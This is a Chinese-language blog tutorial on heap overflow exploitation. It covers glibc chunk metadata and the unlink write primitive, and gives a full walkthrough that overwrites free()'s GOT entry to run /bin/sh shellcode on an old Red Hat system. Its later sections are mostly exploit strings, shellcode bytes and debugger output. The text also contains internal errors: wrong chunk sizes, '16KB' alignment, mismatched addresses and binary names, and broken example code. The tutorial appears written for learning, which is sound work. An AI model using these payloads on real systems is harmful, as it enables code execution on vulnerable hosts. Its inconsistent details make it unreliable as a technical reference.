http://chinamars.me/blog/2014/01/heap-corruption-堆溢出/
申明:本文並非原創,參考了許多大牛的文章,因為太亂了所以沒有標明出處,如有侵犯版權問題,請第一時間聯系我。
No copyright infringement intended,If so,please contact me immediately.
0x01 背景知識
堆是程序運行時動態分配給程序的內存空間,堆內存空間發生緩沖區溢出很常見。堆溢出需要不同的手段,不像棧溢出那么簡單。分配給一個函數的內存會持續保持分配直到完全被釋放為止,所以被溢出的內存使用時才會被發現。堆的結構如下圖。
0x02 使用堆
堆內存一般通過malloc()分配,malloc 只管分配內存,並不能對所得的內存進行初始化,所以得到的一片新內存中,其值將是隨機的。通過free()釋放。
PS:在不同的系統之間,對堆管理的實現沒有一個統一標准,甚至在UNIX系統中也使用了幾個不同的標准。
下面的例子演示了簡單的堆溢出。
#include <stdio.h> int main(int argc,char* argv){ char *A= malloc(10); char *B= malloc(8); char *C= malloc(4); strcpy(B,"BBBBBBBB"); strcpy(C,"CCCC"); strcpy(A,argv[1]); printf("A(%p) is %s\n",A); printf("B(%p) is %s\n",B); printf("C(%p) is %s\n",C); return 0; }
運行結果如圖。
從0x8049778開始內存的值被改寫。因為要內存對齊,所以每個變量分配了16KB。
不像棧溢出,程序不會出現Segmentation fault,成功改寫了其他變量的地址內容,下圖是內存中的情況。
0x03 堆和數據塊的結構
在malloc中,被分配給程序的內存稱作數據塊(chunk),一個數據塊包含了元數據(metadata)和程序返回地址。數據庫的定義如下:
struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };
假如我們開辟三塊內存空間,malloc(256), malloc(256), and malloc(256),堆上的內存分布如下:
Meta-data of chunk created by malloc(256)
The 256 bytes of memory return by malloc
-----------------------------------------
Meta-data of chunk created by malloc(256)
The 512 bytes of memory return by malloc
-----------------------------------------
Meta-data of chunk created by malloc(256)
The 1024 bytes of memory return by malloc
-----------------------------------------
Meta-data of the top chunk
"top chunk"是其他可用空間,也就是說每次申請空間時,總是從"top chunk"中分出, 一部分是申請的數據塊,另一部分是新的"top chunk"。當"top chunk"不夠時程序會要求操作系統去擴展它。http://man7.org/linux/man-pages/man2/brk.2.html
只有prev_size 和 size fields被已分配的數據塊所使用,返回給程序的緩沖區從fd開始。也就是說一個已分配的數據塊始終有8字節的元數據。一般情況下32位機器都是8位內存對齊(http://stackoverflow.com/questions/5061392/aligned-memory-management),數據塊大小必須是8及其倍數,所以size的最后3位就用不到了,其中最后一位Least significant bit(https://en.wikipedia.org/wiki/Least_significant_bit)如果設為1,意味着前一個數據塊(previous chunk)被使用。
如何查看一個數據塊是否被使用?只需要把當前數據塊的指針加上它的size,就可以到下一個數據塊中,檢查下一個數據塊的size的最后一位即可。
一個被釋放的數據塊使用fd 和 bk 字段,fd指向前一個可用的數據塊,bk指向后一個(所以空閑數據塊被保存在一個列表中)。當程序使用malloc時,它會優先搜索和它大小一樣的數據塊,如果找不到再向"top chunk"申請。當調用free時,它會檢查當前數據塊的前一個數據塊是否已被釋放。在前一個數據塊沒有使用時,兩個數據塊會合並。但是,這樣會增加數據塊的大小,使它被放到另一個空閑數據塊列表中(移出空閑數據塊,再加上合並后的數據塊)。代碼實現如下:
/* Take a chunk off a bin list */ void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD) { FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; }
P代表正在被移除列表的數據塊。參考:http://www.math.ucla.edu/~wittman/10a.1.10w/ccc/ch16/ch16.html 跟雙向鏈表remove時一個思想。(或者他就是一個雙向鏈表?)如果給定兩個合法的地址A,B,那么free() 將會做 *(A+12) = B 和 *(B+8) = A。
我們可以通過改寫元數據,實現在任意位置改寫任意數據。比如,我們可以改寫destructor函數的指針,指向我們的代碼。
0x04 溢出
請看下面的代碼:
#include <stdio.h> #include <string.h> #include <stdlib.h> int n = 5; int main(int argc, char **argv) { char *p, *q; p = malloc(1024); q = malloc(1024); if (argc >= 2) strcpy(p, argv[1]); free(q); printf("n = 0x%08x\n", n); free(p); return 0; }
[root@localhost shell]#nm ./bug1 | grep -w n //查看變量n的地址 08040505 D n [root@localhost shell]#./heap4 `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\xf9\x04\x04\x08" . "\x88\xff\xff\xbf"'` n = 0xbfffff88 Segmentation fault
我們成功的將n的地址改寫為0xbfffff80。前1024個A填充p,后面兩個0xfffffffc重寫了q的pre_size和size,這樣當free執行時,前一個數據塊地址變成了q+4,指向自己填充的字符串,這樣fwd->bk = bck; bck->fd = fwd; 變成了*(A+12) = B; *(B+8) = A; 其中A = 0x080404f9,B = 0xbfffff88 。
我們最終目標是執行任意代碼而不是改寫n的地址,通過改寫free()的plt 入口(http://publib.boulder.ibm.com/infocenter/cicsts/v3r1/index.jsp?topic=%2Fcom.ibm.cics.ts31.doc%2Fdfha4%2Ftopics%2Fdfha4_macro_plt_overview.htm),來避免Segmentation fault。
[root@localhost shell]#objdump -R heapbug | grep free 0804f905 R_386_JUMP_SLOT free [root@localhost shell]#gdb ./heapbug ... gdb) run `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x70\xff\xff\xbf"' Program received signal SIGSEGV, Segmentation fault. 0xbfffff72 in ?? () (gdb)
這樣,當free()被調用時,調到了我們指定的地址0xbfffff72。
因為*(A+12) = B; *(B+8) = A; 我們選擇A+12為free()的plt 入口, B為shellcode的在棧上的地址。所以需要在shellcode前填充12字節(我們填充12個nop)。
[root@localhost shell]#SHELLCODE=`perl -e 'print "\x90"x12 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'` [root@localhost shell]#export SHELLCODE [root@localhost shell]#./getenv SHELLCODE //getenv 獲取環境變量地址 0xbfffef00 [root@localhost shell]#./heapbug `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x00\xef\xff\xbf"'` sh-2.05$
成功執行了自己的payload。
PS:測試環境為Red hat 7.2 , 需要注意的是僅支持libc低於2.3.3。
<!-未完待續-->